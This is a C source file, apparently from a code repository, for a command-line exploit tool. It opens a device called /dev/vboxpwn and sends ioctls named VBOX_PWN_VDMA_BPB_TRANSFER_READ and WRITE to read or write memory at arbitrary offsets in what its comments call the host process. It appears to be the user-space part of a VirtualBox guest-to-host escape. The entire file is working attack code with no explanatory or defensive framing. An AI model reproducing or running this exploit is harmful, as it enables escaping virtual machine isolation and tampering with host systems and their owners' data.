blob: ba4dedb284656b28082738f01b7a9b5b4657fa1d [file] [log] [blame] [raw]
#include <sys/ioctl.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <stdio.h>
#include "syncrw.h"
#include "pwn.h"
#define BUFFER_SIZE 1024
int main(int argc, char **argv) {
struct pwn_request req;
unsigned int offset_bits = sizeof(void *) * 8; // Must match host process memory model
if(argc < 3) {
fprintf(stderr, "Usage: %s [--32|--64] {read|write} <offset> [<count>]\n", argv[0]);
return -1;
}
if(argv[1][0] == '-') {
if(strcmp(argv[1], "--32") == 0) offset_bits = 32;
else if(strcmp(argv[1], "--64") == 0) offset_bits = 64;
else {
fprintf(stderr, "%s: Invalid option '%s'\n", argv[0], argv[1]);
return -1;
}
argv[1] = argv[0];
argv++;
argc--;
}
int fd = open("/dev/vboxpwn", O_RDWR);
if(fd == -1) {
perror("/dev/vboxpwn");
return 1;
}
union {
uint32_t o32;
uint64_t o64;
} offset;
if(offset_bits == 32) offset.o32 = strtol(argv[2], NULL, 0);
else offset.o64 = strtoll(argv[2], NULL, 0);
#define OFFSET (offset_bits == 32 ? offset.o32 : offset.o64)
if(strcmp(argv[1], "read") == 0) {
uint32_t count = argv[3] ? strtoul(argv[3], NULL, 0) : 0xffffffffu;
req.offset = OFFSET;
req.data = malloc(count > BUFFER_SIZE ? BUFFER_SIZE : count);
if(!req.data) {
perror("malloc");
return 1;
}
while(count > BUFFER_SIZE) {
req.size = BUFFER_SIZE;
if(ioctl(fd, IOCTL_VBOX_PWN_VDMA_BPB_TRANSFER_READ, &req) == -1) {
perror("ioctl");
return 1;
}
int s = sync_write(STDOUT_FILENO, req.data, BUFFER_SIZE);
if(s <= 0) {
if(s < 0) perror("write");
return 0;
}
if(offset_bits == 64) req.offset += BUFFER_SIZE;
else req.offset = (uint32_t)req.offset + BUFFER_SIZE;
}
req.size = count;
fprintf(stderr, "data = %p\n", req.data);
if(ioctl(fd, IOCTL_VBOX_PWN_VDMA_BPB_TRANSFER_READ, &req) == -1) {
perror("ioctl");
return 1;
}
fprintf(stderr, "data = %p\n", req.data);
int s = sync_write(STDOUT_FILENO, req.data, count);
if(s < 0) perror("write");
return 0;
} else if(strcmp(argv[1], "write") == 0) {
uint32_t count = argv[3] ? strtoul(argv[3], NULL, 0) : 0xffffffffu;
req.offset = OFFSET;
req.data = malloc(count > BUFFER_SIZE ? BUFFER_SIZE : count);
if(!req.data) {
perror("malloc");
return 1;
}
while(count > BUFFER_SIZE) {
int s = sync_read(STDIN_FILENO, req.data, BUFFER_SIZE);
if(s <= 0) {
if(s < 0) {
perror("read");
return 1;
}
return 0;
}
req.size = s;
if(ioctl(fd, IOCTL_VBOX_PWN_VDMA_BPB_TRANSFER_WRITE, &req) == -1) {
perror("ioctl");
return 1;
}
if(offset_bits == 64) req.offset += s;
else req.offset = (uint32_t)req.offset + s;
}
int s = sync_read(STDIN_FILENO, req.data, count);
if(s <= 0) {
if(s < 0) {
perror("read");
return 1;
}
return 0;
}
req.size = s;
if(ioctl(fd, IOCTL_VBOX_PWN_VDMA_BPB_TRANSFER_WRITE, &req) == -1) {
perror("ioctl");
return 1;
}
return 0;
} else {
fprintf(stderr, "%s: Unknown subcommand '%s'\n", argv[0], argv[1]);
return -1;
}
}